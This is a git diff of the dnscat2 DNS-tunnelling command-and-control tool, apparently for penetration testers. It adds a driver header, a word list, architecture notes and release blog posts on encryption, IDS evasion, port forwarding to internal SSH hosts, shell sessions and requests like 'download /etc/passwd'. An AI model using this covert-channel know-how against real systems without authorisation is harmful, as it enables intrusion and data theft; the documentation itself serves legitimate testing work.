dnscat protocol, it + * makes it trivial to use the same program to tunnel over multiple different + * protocols - DNS, ICMP, etc. + */ + +#ifndef __DRIVER_DNS_H__ +#define __DRIVER_DNS_H__ + +#include "libs/dns.h" +#include "libs/select_group.h" + +/* Types of DNS queries we support */ +#ifndef WIN32 +#define DNS_TYPES "TXT, CNAME, MX, A, AAAA" +#else +#define DNS_TYPES "TXT, CNAME, MX, A" +#endif + +/* The default types. */ +#define DEFAULT_TYPES "TXT,CNAME,MX" + +/* The maximum number of types that can be selected amongst. */ +#define DNS_MAX_TYPES 32 + +typedef struct +{ + int s; + + select_group_t *group; + char *domain; + char *dns_server; + int dns_port; + + NBBOOL is_closed; + + dns_type_t types[DNS_MAX_TYPES]; + size_t type_count; + +} driver_dns_t; + +driver_dns_t *driver_dns_create(select_group_t *group, char *domain, char *host, uint16_t port, char *types, char *server); +void driver_dns_destroy(); +void driver_dns_go(driver_dns_t *driver); + +#endif diff --git a/client/tunnel_drivers/tunnel_driver.h b/client/tunnel_drivers/tunnel_driver.h new file mode 100644 index 0000000..6089aad --- /dev/null +++ b/client/tunnel_drivers/tunnel_driver.h @@ -0,0 +1,14 @@ +/* tunnel_driver.h + * Created April/2015 + * By Ron Bowes + * + * See LICENSE.md + * + * This is currently only used for constants. It may be used more in the future, + * the same way that driver.h is. + */ + +typedef enum +{ + TUNNEL_DRIVER_DNS, +} tunnel_driver_type_t; diff --git a/client/win32/dnscat2.vcproj b/client/win32/dnscat2.vcproj new file mode 100755 index 0000000..7ca0fb9 --- /dev/null +++ b/client/win32/dnscat2.vcproj @@ -0,0 +1,456 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/contributors.md b/contributors.md new file mode 100644 index 0000000..b494c2f --- /dev/null +++ b/contributors.md @@ -0,0 +1,9 @@ +This is a list of folks who have contributed to the project in some way! +If you aren't on here and think you should be, please drop me a line, +file a bug, or just send a pull request. :) + +* [Ron Bowes](https://github.com/iagox86) - Me! The lead developer. +* [Irvin Zhan](https://github.com/izhan) +* [Bram Mittendorff](https://github.com/brammittendorff) +* [Fox0x01](https://github.com/Fox0x01) +* [Jon Cave](https://github.com/joncave) diff --git a/data/wordlist_256.txt b/data/wordlist_256.txt new file mode 100644 index 0000000..3d6248c --- /dev/null +++ b/data/wordlist_256.txt @@ -0,0 +1,256 @@ +Abate +Absorb +Ache +Acidy +Across +After +Alike +Amount +Amuse +Annoy +Annuls +Ardent +Ascot +Bait +Barons +Barret +Bask +Becurl +Befool +Bell +Bifold +Bogie +Boxen +Bozo +Broke +Bulby +Bunny +Calmly +Canary +Cargo +Chirp +Chroma +Cleft +Coke +Column +Comely +Cometh +Convoy +Corn +Cough +Cruxes +Cued +Darter +Dash +Dating +Deadly +Deaf +Decade +Deepen +Depict +Domed +Dorper +Drafts +Dried +Duff +Durian +Early +Easily +Eggars +Emboss +Emit +Encode +Ennui +Envied +Essay +Evites +Evoke +Exotic +Facile +Fate +Feisty +Fewest +Fifty +Filth +Finer +Fished +Flacks +Flaunt +Fleecy +Flied +Foams +Foxes +Freely +Frozen +Genome +Gibbon +Gifts +Giving +Gold +Gone +Gouge +Grocer +Grows +Half +Handle +Harold +Harp +Hedges +Hither +Hobbit +Hobble +Hoods +Hooked +Horror +Horsed +Hound +Huns +Ices +Impish +Jiber +Jiggy +Kelpy +Keyman +Khan +Killer +Klutzy +Lair +Lashes +Libate +Liming +Lonely +Looks +Lordy +Lush +Mailer +Maps +Mayo +Mcgill +Mona +Motive +Mousy +Neigh +Ninjas +Nodule +Nuns +Obese +Olive +Omelet +Omen +Otto +Outran +Ouzo +Owls +Papism +Parrot +Peace +Pearly +Peaty +Pedal +Pegged +Petals +Phials +Pianos +Pierce +Pigs +Pikey +Pitch +Plato +Plays +Plight +Poetic +Poker +Polite +Pontic +Pony +Powers +Poxes +Prams +Pulped +Purr +Push +Quint +Random +Rapier +Ravel +Real +Rebolt +Recoil +Redear +Reink +Ripe +Riprap +Roger +Ropers +Roving +Rumor +Sanded +Sawlog +Sawman +Scribe +Scruff +Seitan +Sense +Shirks +Sippy +Sitcom +Slumpy +Softy +Sonar +Sonny +Sophic +Spear +Spiced +Spikey +Spine +Spoofy +Spring +Static +Staved +Stilt +Stinty +Stirs +Storer +Story +Strode +Stump +Suited +Surfs +Swatch +Swum +Tables +Taking +Tattoo +Teal +Teeth +Telco +Timer +Tins +Tonite +Tore +Tort +Tried +Trivia +Tubule +Tusked +Twins +Twos +Unborn +Undam +Unwrap +Upcurl +Upseal +Visas +Volume +Waded +Wages +Ware +Wears +Wicked +Winful +Wisely +Wisp +Yerba +Zester +Zoner +Zootic diff --git a/doc/README.md b/doc/README.md new file mode 100644 index 0000000..9f7ca57 --- /dev/null +++ b/doc/README.md @@ -0,0 +1,56 @@ +There are enough documentation files that it's getting out of hand. So +here they are! + +# User documents + +## [README.md](/README.md) + +The main usage documentation. + +## [changelog.md](changelog.md) + +The changelog. + +## [authoritative_dns_setup.md](authoritative_dns_setup.md) + +Instructions on how to set up an authoritative nameserver. + +# Architecture / developer documents + +## [contributing.md](contributing.md) + +The place to start if you're thinking about contributing to dnscat2, or +even if you're just interested in learning about the structure and +design decisions in the code. + +Most of the documents below are created to support contributing.md. + +## [protocol.md](protocol.md) + +The dnscat2 protocol (both the tunnel protocol and the dnscat2 protocol, +right now). + +## [command_protocol.md](command_protocol.md) + +The sub-protocol used for commands. + +## [client_architecture.md](client_architecture.md) + +The structure, design decisions, libraries, and everything else you need +to understand the client in full. + +## [server_architecture.md](server_architecture.md) + +The structure, design decisions, libraries, and everything else you need +to understand the server in full. + +# Developer / process docs + +## [how_to_do_a_release.md](how_to_do_a_release.md) + +The steps I take when I perform a release. + +## [adding_a_driver.md](adding_a_driver.md) + +How to create a driver on the client. I'm not entirely sure this is up +to date. diff --git a/doc/adding_a_driver.md b/doc/adding_a_driver.md new file mode 100644 index 0000000..c33ce8a --- /dev/null +++ b/doc/adding_a_driver.md @@ -0,0 +1,28 @@ +This is intended to be a quick guide / reference on how you can write +your own i/o drivers for dnscat2! To give you an idea of what they can +do, here are some examples of i/o drivers: + +- Console (turned on with --console, lets users type messages to the +server) +- Exec (turned on with --exec, tunnels i/o to/from a process) +- Command (default; an interactive session that can spawn other +sessions) + +This guide is about how to add others! + +Here are the steps: +- Update drivers/driver.(c|h) to add simple wrappers to handle the +driver type (discount polymorphism) +- Create a .c and .h file that implement the following methods: + - driver_XXX_t \*driver_XXX_create(select_group_t \*group); + - void driver_XXX_destroy(driver_XXX_t \*driver); + - void driver_XXX_data_received(driver_XXX_t \*driver, uint8_t \*data, size_t length); + - uint8_t \*driver_XXX_get_outgoing(driver_XXX_t \*driver, size_t \*length, size_t max_length); + - void driver_XXX_close(driver_XXX_t \*driver); +- Add the .o for the driver to the Makefile under OBJS +- Add the following function to controller/session.(c|h): + - session_t \*session_create_XXX(select_group_t \*group, char \*name) + - If it's a sub-protocol - that is, anything that the server needs to handle in a special way - be sure to set some SYN options that the server will see +- Make it possible to create the driver + - Update main() in dnscat.c with commandline options to create the driver (don't forget to update 'usage'!) + - Update driver_command.c with the ability to create instances of it diff --git a/doc/authoritative_dns_setup.md b/doc/authoritative_dns_setup.md new file mode 100644 index 0000000..59e6b80 --- /dev/null +++ b/doc/authoritative_dns_setup.md @@ -0,0 +1,43 @@ +# Authoritative DNS Server Setup + +dnscat2 runs in two modes — through a direct connection to your server, and through the DNS hierarchy. The second mode requires you to make your server an authoritative DNS server, which traditionally handles the DNS query and converts the url to an IP address. + +# Setup on Namecheap + +Before you start, you will need a server that is running dnscat2 and a domain name that you own. For our example, let's suppose our dnscat2 server has an IP address of 42.42.42.42 and our domain name is "company" + +We will go through setting up an authoritative DNS server on Namecheap, a popular domain registrar. Other services such as GoDaddy have a similar setup process. + +### Step 1: Sign in + +![Sign in](http://i.imgur.com/LILdHvC.png) + +### Step 2: Click on the "manage" button for your domain + +![Manage button](http://i.imgur.com/MqviES4.png) + +### Step 3: Click "Advanced DNS" on the left site of the domain navbar + +![Advanced DNS](http://i.imgur.com/dLxn3oe.png) + +### Step 4: Click the "EDIT" button on the right of "Domain Nameserver Type" + +Remember to set this to Custom! + +![Domain Nameserver Type](http://i.imgur.com/TNSKC8V.png) + +### Step 5: After seting the Server Type to custom fill in the details of your nameservers + +![Custom Server Type](http://i.imgur.com/FiL8dtM.png) + +### Step 6: Now it is time to add your personal DNS servers so click the button "ADD NEW" to the right + +![Adding personal DNS servers](http://i.imgur.com/nKhautV.png) + +### Step 7: Click the custom button twice and fill in your DNS details + +Don't forget to click on the "Save Changes" button + +![Adding personal DNS servers](http://i.imgur.com/pBZ5lrU.png) + +You may verify that your authoritative DNS server is correctly setup by running `sudo nc -vv -l -u -p53` on your dnscat2 server, and then sending a DNS query for your domain name. If your server detects a UDP packet, then you have successfully setup your authoritative DNS server! diff --git a/doc/blogs/dnscat2-0.01-release.html b/doc/blogs/dnscat2-0.01-release.html new file mode 100644 index 0000000..2cc56c0 --- /dev/null +++ b/doc/blogs/dnscat2-0.01-release.html @@ -0,0 +1,39 @@ +As I promised during my 2014 Derbycon talk (amongst other places), this is an initial release of my complete re-write/re-design of the dnscat service / protocol. It's now a standalone tool instead of being bundled with nbtool, among other changes. :) + +I'd love to have people testing it, and getting feedback is super important to me! Even if you don't try this version, hearing that you're excited for a full release would be awesome. The more people excited for this, the more I'm encouraged to work on it! In case you don't know it, my email address is listed below in a couple places. + +

Where can I get it?

+ +Here are some links: +
  • Sourcecode on github (HEAD sourcecode)
  • +
  • Downloads (you'll find signed Linux 32-bit, Linux 64-bit, Win32, and source code versions of the client, plus an archive of the server—keep in mind that that signature file is hosted on the same server as the files, so if you're worried, please verify :) )
  • +
  • User documentation
  • +
  • Protocol and command protocol documents (as a user, you probably don't need these)
  • +
  • Issue tracker (you can also email me issues, just put my first name (ron) in front of my domain name (skullsecurity.net))
  • + +

    Wait, what happened to dnscat1?

    + +I designed dnscat1 to be similar to netcat; the client and server were the same program, and you could tunnel both ways. That quickly became complex and buggy and annoying to fix. It's had unresolved bugs for years! I've been promising a major upgrade for years, but I wanted it to be reasonably stable/usable before I released anything! + +Since generic TCP/IP DNS tunnels have been done (for example, by iodine), I decided to make dnscat2 a little different. I target penetration testers as users, and made the server more of a command & control-style service. For example, an old, old version of dnscat2 had the ability to proxy data through the client and out the server. I decided to remove that code because I want the server to be runnable on a trusted network. + +Additionally, unlike dnscat1, dnscat2 uses a separate client and server. The client is still low-level portable C code that should run anywhere (tested on 32- and 64-bit Linux, Windows, FreeBSD, and OS X). The server is now higher-level Ruby code that requires Ruby and a few libraries (I regularly use it on Linux and Windows, but it should run anywhere that Ruby and the required gems runs). That means I can quickly and easily add functionality to the server while implementing relatively simple clients. + +

    How can I help?

    + +The goal of this release is primarily to find bugs in compilation, usage, and documentation. Everything should work on all 32- and 64-bit versions of Linux, Windows, FreeBSD, and OS X. If you get it working on any other systems, let me know so I can advertise it! + +I'd love to hear from anybody who successfully or unsuccessfully tried to get things going. Anything from what you liked, what you didn't like, what was intuitive, what was unintuitive, where the documentation was awesome, where the documentation sucked, what you like about my face, what you hate about my face—anything at all! Seriously, if you get it working, email me—knowing that people are using it is awesome and motivates me to do more. :) + +For feedback, my email address is my first name (ron) at my domain (skullsecurity.net). If you find any bugs or have any feature requests, the best place to go is my Issue tracker. + +

    What's the future hold?

    + +I've spent a lot of time on stability and bugfixes recently, which means I haven't been adding features. The two major features that I plan to add are: + +
      +
    • TCP proxying - basically, creating a tunnel that exits through the client
    • +
    • Shellcode - a x86/x64 implementation of dnscat for Linux and/or Windows
    • +
    + +Once again, I'd love feedback on which you think is more important, and if you're excited to get shellcode, then which architecture/OS that I should prioritize. :) diff --git a/doc/blogs/dnscat2-0.04-release.html b/doc/blogs/dnscat2-0.04-release.html new file mode 100644 index 0000000..abf6c97 --- /dev/null +++ b/doc/blogs/dnscat2-0.04-release.html @@ -0,0 +1,120 @@ +Hey everybody, + +Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default! + +Read on for some user information, then some implementation details for those who are interested! For all the REALLY gory information, check out the protocol doc! + +

    Tell me what's new!

    + +By default, when you start a dnscat2 client, it now performs a key exchange with the server, and uses a derived session key to encrypt all traffic. This has the huge advantage that passive surveillance and IDS and such will no longer be able to see your traffic. But the disadvantage is that it's vulnerable to a man-in-the-middle attack - assuming somebody takes the time and effort to perform a man-in-the-middle attack against dnscat2, which would be awesome but seems unlikely. :) + +By default, all connections are encrypted, and the server will refuse to allow cleartext connections. If you start the server with --security=open (or run set security=open), then the client decides the security level - including cleartext. + +If you pass the server a --secret string (see below), then the server will require clients to authenticate using the same --secret value. That can be turned off by using --security=open or --security=encrypted (or the equivalent set commands). + +Let's look at the man-in-the-middle protection... + +

    Short authentication strings

    + +First, by default, a short authentication string is displayed on both the client and the server. Short authentication strings, inspired by ZRTP and Silent Circle, are a visual way to tell if you're the victim of a man-in-the-middle attack. + +Essentially, when a new connection is created, the user has to manually match the short authentication strings on the client and the server. If they're the same, then it's a legit connection. Here's what it looks like on the client: + +
    +Encrypted session established! For added security, please verify the server also displays this string:
    +
    +Tort Hither Harold Motive Nuns Unwrap
    +
    + +And the server: + +
    +New window created: 1
    +Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
    +For added security, please ensure the client displays the same string:
    +
    +>> Tort Hither Harold Motive Nuns Unwrap
    +
    + +There are 256 different possible words, so six words gives 48 bits of protection. While a 48-bit key can eventually be bruteforced, in this case it has to be done in real time, which is exceedingly unlikely. + +

    Authentication

    + +Alternatively, a pre-shared secret can be used instead of a short authentication string. When you start the server, you pass in a --secret value, such as --secret=pineapple. Clients with the same secret will create an authenticator string based on the password and the cryptographic keys, and send it to the server, encrypted, after the key exchange. Clients that use the wrong key will be summarily rejected. + +Details on how this is implemented are below. + +

    How stealthy is it?

    + +To be perfectly honest: not completely. + +The key exchange is pretty obvious. A 512-bit value has to be sent via DNS, and a 512-bit response has to come back. That's pretty big, and stands out. + +After that, every packet has an unencrypted 40-bit (5-byte) header and an unencrypted 16-bit (2-byte) nonce. The header contains three bytes that don't really change, and the nonce is incremental. Any system that knows to look for dnscat2 will be able to find that. + +It's conceivable that I could make this more stealthy, but anybody who's already trying to detect dnscat2 traffic will be able to update the signatures that they would have had to write anyway, so it becomes a cat-and-mouse game. + +Of course, that doesn't stop people from patching things. :) + +The plus side, however, is that none of your data leaks! And somebody would have to be specifically looking for dnscat2 traffic to recognize it. + +

    What are the hidden costs?

    + +Encrypted packets have 64 bits (8 bytes) of extra overhead: a 16-bit (two-byte) nonce and a 48-bit (six-byte) signature on each packet. Since DNS packets have between 200 and 250 bytes of payload space, that means we lose ~4% of our potential bandwidth. + +Additionally, there's a key exchange packet and potentially an authentication packet. That's two extra roundtrips over a fairly slow protocol. + +Other than that, not much changes, really. The encryption/decryption/signing/validation are super fast, and it uses a stream cipher so the length of the messages don't change. + +

    How do I turn it off?

    + +The server always supports crypto; if you don't WANT crypto, you'll have to manually hack the server or use a version of dnscat2 server <=0.03. But you'll have to manually turn off encryption in the client; otherwise, the connection fail. + +Speaking of turning off encryption in the client: you can compile without encryption by using make nocrypto. You can also disable encryption at runtime with dnscat2 --no-encryption. On Visual Studio, you'll have to define "NO_ENCRYPTION". Note that the server, by default, won't allow either of those to connect unless you start it with --security=open. + +

    Give me some technical details!

    + +Your best bet if you're REALLY curious is to check out the protocol doc, where I document the protocol in full. + +But I'll summarize it here. :) + +The client starts a session by initiating a key exchange with the server. Both sides generate a random, 256-bit private key, then derive a public key using Elliptic Curve Diffie Hellman (ECDH). The client sends the public key to the server, the server sends a public key to the client, and they both agree on a shared secret. + +That shared secret is hashed with a number of different values to derive purpose-specific keys - the client encryption key, the server encryption key, the client signing key, the server signing key, etc. + +Once the keys are agreed upon, all packets are encrypted and signed. The encryption is salsa20 and uses one of the derived keys as well as an incremental nonce. After being encrypted, the encrypted data, the nonce, and the packet header are signed using SHA3, but truncated to 48 bits (6 bytes). 48 bits isn't very long for a signature, but space is at an extreme premium and for most attacks it would have to be broken in real time. + +As an aside: I really wanted to encrypt the header instead of just signing it, but because of protocol limitations, that's simply not possible (because I have no way of knowing which packets belong to which session, the session_id has to be plaintext). + +Immediately after the key exchange, the client optionally sends an authenticator over the encrypted session. The authenticator is based on a pre-shared secret (passed on the commandline) that the client and server pre-arrange in some way. That secret is hashed with both public keys and the secret (derived) key, as well as a different static string on the client and server. The client sends their authenticator to the server, and the server sends their authenticator to the client. In that way, both sides verify each other without revealing anything. + +If the client doesn't send the authenticator, then a short authentication string is generated. It's based on a very similar hash to the authenticator, except without the pre-shared secret. The first 6 bytes are converted into words using a list of 256 English words, and are displayed on the screen. It's up to the user to verify them. + +Because the nonce is only 16 bits, only 65536 roundtrips can be performed before running out. As such, the client may, at its own discretion (but before running out), initiate a new key exchange. It's identical to the original key exchange, except that it happens in a signed and encrypted packet. After the renegotiation is finished, both the client and server switch their nonce values back to 0 and stop accepting packets with the old keys. + +And... that's about it! Keys are exchanged, an authenticator is sent or a short authentication string is displayed, all messages are signed and encrypted, and that's that! + +

    Challenges

    + +A few of the challenges I had to work through... + +
      +
    • Because DNS has no concept of connections/sessions, I had to expose more information that I wanted in the packets (and because it's extremely length-limited, I had to truncate signatures)
    • +
    • I had originally planned to use Curve25519 for the key exchange, but there's no Ruby implementation
    • +
    • Finding a C implementation of ECC that doesn't require libcrypto or libssl was really hard
    • +
    • Finding a working SHA3 implementation in Ruby was impossible! I filed bugs against the three more popular implementations and one of them actually took the time to fix it!
    • +
    • Dealing with DNS's gratuitous retransmissions and accidental drops was super painful and required some hackier code than I like to see in crypto (for example, an old key can still be used, even after a key exchange, until the new one is used successfully; the more secure alternative can't handle a dropped response packet, otherwise both peers would have different keys)
    • +
    + +

    Shouts out

    + +I just wanted to do a quick shout out to a few friends who really made this happen by giving me advice, encouragement, or just listening to me complaining. + +So, in alphabetical order so nobody can claim I play favourites, I want to give mad propz to: + +
      +
    • Alex Weber, who notably convinced me to use a proper key exchange protocol instead of just a static key (and who also wrote the Salsa20 implementation I used
    • +
    • Brandon Enright, who give me a ton of handy crypto advice
    • +
    • Eric Gershman, who convinced me to work on encryption in the first place, and who listened to my constant complaining about how much I hate implementing crypto
    • +
    + diff --git a/doc/blogs/dnscat2-0.05-release.html b/doc/blogs/dnscat2-0.05-release.html new file mode 100644 index 0000000..9053bfb --- /dev/null +++ b/doc/blogs/dnscat2-0.05-release.html @@ -0,0 +1,191 @@ +Greetings, and I hope you're all having a great holiday! + +My Christmas present to you, the community, is dnscat2 version 0.05! + +Some of you will remember that I recently gave a talk at the SANS Hackfest Summit. At the talk, I mentioned some ideas for future plans. That's when Ed jumped on the stage and took a survey: which feature did the audience want most? + +The winner? Tunneling TCP via a dnscat. So now you have it! Tunneling: Phase 1. :) + +Info and downloads. + + +

    High-level

    + +There isn't a ton to say about this feature, so this post won't be particularly long. I'll give a quick overview of how it works, how to use it, go into some quick implementation details, and, finally, talk about my future plans. + +On a high level, this works exactly like ssh with the -L argument: when you set up a port forward in a dnscat2 session, the dnscat2 server will listen on a specified port. Say, port 2222. When a connection arrives on that port, the connection will be sent - via the dnscat2 session and out the dnscat2 client - to a specified server. + +That's pretty much all there is to it. The user chooses which ports to listen on, and which server/port to connect to, and all connections are forwarded via the tunnel. + +Let's look at how to use it! + +

    Usage

    + +Tunneling must be used within a dnscat2 session. So first you need one of those, no special options required: + +
    +(server)
    +
    +# ruby ./dnscat2.rb --auto-attach --packet-trace
    +New window created: 0
    +
    +[...]
    +
    +dnscat2>
    +
    + +
    +(client)
    +
    +$ ./dnscat --dns="server=localhost,port=53"
    +Creating DNS driver:
    + domain = (null)
    + host   = 0.0.0.0
    + port   = 53
    + type   = TXT,CNAME,MX
    + server = localhost
    +
    +Encrypted session established! For added security, please verify the server also displays this string:
    +
    +Encode Surfs Taking Spiced Finer Sonny
    +
    +Session established!
    +
    + +We, of course, take the opportunity to validate the six words - "Encode Surfs Taking Spiced Finer Sonny" - to make sure nobody is performing a man-in-the-middle attack against us (considering this is directly to localhost, it's probably okay :) ). + +Once you have a session set up, you want to tell the session to listen with the listen command: + +
    +New window created: 1
    +Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
    +For added security, please ensure the client displays the same string:
    +
    +>> Encode Surfs Taking Spiced Finer Sonny
    +
    +dnscat2> session -i 1
    +[...]
    +dnscat2> listen 8080 www.google.com:80
    +Listening on 0.0.0.0:8080, sending connections to www.google.com:80
    +
    + +Now the dnscat2 server is listening on port 8080. It'll continue listening on that port until the session closes. + +The dnscat2 client, however, has no idea what's happening yet! The client doesn't know what's happening until it's actually told to connect to something with a TUNNEL_CONNECT message (which will be discussed later). + +Now we can connect to the server on port 8080 and request a page: + +
    +$ echo -ne 'HEAD / HTTP/1.0\r\n\r\n' | nc -vv localhost 8080
    +localhost [127.0.0.1] 8080 (http-alt) open
    +HTTP/1.0 200 OK
    +Date: Thu, 24 Dec 2015 16:28:27 GMT
    +Expires: -1
    +Cache-Control: private, max-age=0
    +[...]
    +
    + +On the server, we see the request going out: + +
    +command (ankh) 1> listen 8080 www.google.com:80
    +Listening on 0.0.0.0:8080, sending connections to www.google.com:80
    +command (ankh) 1>
    +Connection from 127.0.0.1:60480; forwarding to www.google.com:80...
    +[Tunnel 0] connection successful!
    +[Tunnel 0] closed by the other side: Server closed the connection!
    +Connection from 123.151.42.61:48904; forwarding to www.google.com:80...
    +
    + +And you also see very similar messages on the client: + +
    +Got a command: TUNNEL_CONNECT [request] :: request_id 0x0001 :: host www.google.com :: port 80
    +[[ WARNING ]] :: [Tunnel 0] connecting to www.google.com:80...
    +[[ WARNING ]] :: [Tunnel 0] connected to www.google.com:80!
    +[[ WARNING ]] :: [Tunnel 0] connection to www.google.com:80 closed by the server!
    +
    + +That's pretty much all you need to know! One more quick example: + +To forward a ssh connection to an internal machine: +
    +command (ankh) 1> listen 127.0.0.1:2222 192.168.1.100:22
    +
    + +Followed by ssh -p2222 root@localhost. That'll connect to 192.168.1.100 on port 22, via the dnscat client! + +

    Stopping a session

    + +I frequently used auto-commands while testing this feature: + +
    +ruby ./dnscat2.rb --dnsport=53531 --security=open --auto-attach --auto-command="listen 2222 www.javaop.com:22;listen 1234 www.google.ca:1234;listen 4444 localhost:5555" --packet-trace
    +
    + +The problem is that I'd connect with a client, hard-kill it with ctrl-c (so it doesn't tell the server it's gone), then start another one. When the second client connects, the server won't be able to listen anymore: + +
    +Listening on 0.0.0.0:4444, sending connections to localhost:5555
    +Sorry, that address:port is already in use: Address already in use - bind(2)
    +
    +If you kill a session from the root window with the 'kill'
    +command, it will free the socket. You can get a list of which
    +sockets are being used with the 'tunnels' command!
    +
    +I realize this is super awkward.. don't worry, it'll get
    +better next version! Stay tuned!
    +
    + +If you know which session is the problem, it's pretty easy.. just kill it from the main window (Window 0 - press ctrl-z to get there): + +
    +dnscat2> kill 1
    +Session 1 has been sent the kill signal!
    +Session 1 killed: No reason given
    +
    + +If you don't know which session it is, you have to go into each session and run tunnels to figure out which one is holding the port open: + +
    +dnscat2> session -i 1
    +[...]
    +command (ankh) 1> tunnels
    +Tunnel listening on 0.0.0.0:2222
    +Tunnel listening on 0.0.0.0:1234
    +Tunnel listening on 0.0.0.0:4444
    +
    + +Once that's done, you can either use the 'shutdown' command (if the session is still active) or go back to the main window and use the kill command. + +I realize that's super awkward, and I have a plan to fix it. It's going to require some refactoring, though, and it won't be ready for a few more days. And I really wanted to get this release out before Christmas! + +

    Implementation details

    + +As usual, the implementation is documented in detail in the protocol.md and command_protocol.md docs. + +Basically, I extended the "command protocol", which is the protocol that's used for commands like upload, download, ping, shell, exec, etc. + +Traditionally, the command protocol was purely the server making a request and the client responding to the request. For example, "download /etc/passwd" "okay, here it is". However, the tunnel protocol works a bit differently, because either side can send a request. + +Unfortunately, the client sending a request to the server, while it was something I'd planned and written code for, had a fatal flaw: there was no way to identify a request as a request, and therefore when the client sent a request to the server it had to rely on some rickety logic to determine if it was a request or not. As a result, I made a tough call: I broke compatibility by adding a one-bit "is a response?" field to the start of request_id - responses now have the left-most bit set of the request_id. + +At any time - presumably when a connection comes in, but we'll see what the future holds! - the server can send a TUNNEL_CONNECT request to the client, which contains a hostname and port number. That tells the client to make a connection to that host:port, which it attempts to do. If the connection is successful, the client responds with a TUNNEL_CONNECT response, which simply contains the tunnel_id. + +From then on, data can be sent in either direction using TUNNEL_DATA requests. This is the first time the client has been able to send a request to the server, and is also the first time a message was defined that doesn't have a response - neither side should (or can) respond to a TUNNEL_DATA message. Which is fine, because we have guaranteed delivery from lower level protocols. + +When either side decides to terminate the connection, it sends a TUNNEL_CLOSE request, which contains a tunnel_id and a reason string. + +One final implementation detail: tunnel_ids are local to a session. + +

    Future plans

    + +As I said at the start, I've implemented ssh -L. My next plans are to implement ssh -D (easysauce!) and ssh -R (hardersauce!). I also have some other fun ideas on what I can do with the tunnel protocol, so stay tuned for that. :) + +The tricky part about ssh -R is keeping it secure. The client shouldn't be able to arbitrarily forward connections via the server - the server should be able to handle malicious clients securely, at least by default. Therefore, it's going to require some extra planning and architecting! + +

    Conclusion

    + +And yeah, that's pretty much it! As always, if you like this blog or the work I'm doing on dnscat2, you can support me on Patreon! Seriously, I have no ads or monetization on my site, and I spend more money on hosting password lists than I make off it, so if you wanna be awesome and help out, I really, really appreciate it! :) + +And as always, I'm happy to answer questions or take feature requests! You're welcome to email me, reply to this blog, or file an issue on Github! diff --git a/doc/changelog.md b/doc/changelog.md new file mode 100644 index 0000000..c96455e --- /dev/null +++ b/doc/changelog.md @@ -0,0 +1,59 @@ +# 0.07 + +* Fixed a bug where 'shell' sessions would completely fail to work +* Introduce `COMMAND_DELAY` to allow operators to change the client's + session delay on-the-fly +* Created a document on how to send bug reports +* Other miscellaneous changes + +# 0.06 + +* Implemented tunneling, similar to "ssh -L", which is accessed on the + server via the `listen` command +* Added tools/dnstest.rb, a script to verify that the user actually own + the domain. +* Greatly improved performance when a lot of data is being transmitted + from the server to the client +* Fixed a bug where shared secrets (and other arguments) didn't work on + the client if the user explicitly chose a driver type +* Cleaned up the "create driver" logic on the client +* *BREAKING PROTOCL CHANGE*: Made a change to the command protocol: the + 16-bit `request_id` field was changed into `packed_id`, which has a + 1-bit `is_response` value and a 15-bit `request_id`. + +# 0.04 + +* Added encryption, and made all connections encrypted by default +* Some other minor UI or code cleanup changes + +# 0.03 + +* Re-wrote large parts of the server into way cleaner code +* Significantly updated the documentation for the server +* Removed reliance from rubydns, a built-in DNS server is now used for + everything +* Added a standalone tool, dnslogger.rb +* There is now a "passthrough" option, which will forward any requests + that dnscat2 doesn't know how to handle to an upstream server + (somewhat stealthier, maybe?) + +# 0.02 + +* Re-wrote large parts of the client into cleaner code (for example, +removed the entire message.\* code, which was an awful, awful idea) +* When multiple sessions are in progress, it's now "fair" (a message is +sent every 'tick'; each session now takes turns sending out a message, +rather than the oldest sessions blocking out younger ones +* Removed some parameters that nobody will ever use from the +commandline, like --name and --download (though --download may come back +in another form!) +* Changed the way a "tunnel driver" (ie, dns driver) is created on the +commandline - it's now modeled after socat +* The client will no longer transmit forever against a bad server - it +will attempt to retransmit 10 times by default + +# 0.01 + +* Initial release, everything is new! + + diff --git a/doc/client_architecture.md b/doc/client_architecture.md new file mode 100644 index 0000000..77fc98e --- /dev/null +++ b/doc/client_architecture.md @@ -0,0 +1,372 @@ +# Client + +The client is written in C, and can be found in the client/ directory. +Where possible, the code conforms to the C89 standard, and uses a +variety of libraries I've written over the years. I avoid external +dependencies because as much as possible because I want this to be able +to compile and run in as many environments and with as few +pre-requisites as possible. + +Any changes should conform closely to the C89 standard and should not +introduce dependencies unless it's absolutely necessary. + +Additionally, unless there's a good reason not to, the code should be +written very modularly - each implementation, xxx.c, should have a +corresponding xxx.h file that defines its types and functions. When it +makes sense, each module should have its own type, xxx_t, which is +created by `xxx_create` and destroyed/freed by `xxx_destroy`. This: + + xxx_destroy(xxx_create()) + +shouldn't leak memory. + +This keeps the code clean and well structured. + +Finally, all changes should be compatible with Windows, Linux, OS X, and +FreeBSD, at a minimum. + +## Structure + +The main file is client/dnscat.c. It contains the `main` function, which +handles the commandline parsing, starts the initial drivers, and enters +the main network loop. + +To understand the structure, it'd be helpful to understand how the +dnscat protocol works - see [protocol.md](protocol.md) for that. I'll +give a quick overview, though. + +### tunnel_driver + +The actual code that touches the network is called a tunnel_driver, and +is located in tunnel_drivers/. An example of a tunnel driver - and the +only tunnel_driver that exists as of this writing - is the dns driver, +which is implemented in +[driver_dns.c](/client/tunnel_drivers/driver_dns.c). The protocol I +invented for doing packets over DNS (sort of akin to layer 2) is called +the "DNS Tunneling Protocol", and is discussed in detail in +[protocol.md](protocol.md). + +The tunnel_driver has no real understanding of the dnscat protocol or of +sessions or 'connections' or anything like that. The "dnscat protocol" +happens at a higher layer (in sessions), and is tunnel_driver agnostic. +All it does is take data that's embedded in a packet and convert it into +a stream of bytes. + +When a tunnel_driver is created, it must create the socket(s) it needs +to communicate with the outside world, and starts polling for data - it +is important for the tunnel driver to be in constant communication with +a dnscat2 server, because the server can only send data to the client +when it's polled. + +All communication with the rest of dnscat2 is done via the +[controller](#controller). When the tunnel_driver gets data, it's +decoded and sent to the controller. When the tunnel_driver is capable of +sending data, it asks the controller for any data that's available. + +There is only ever a single 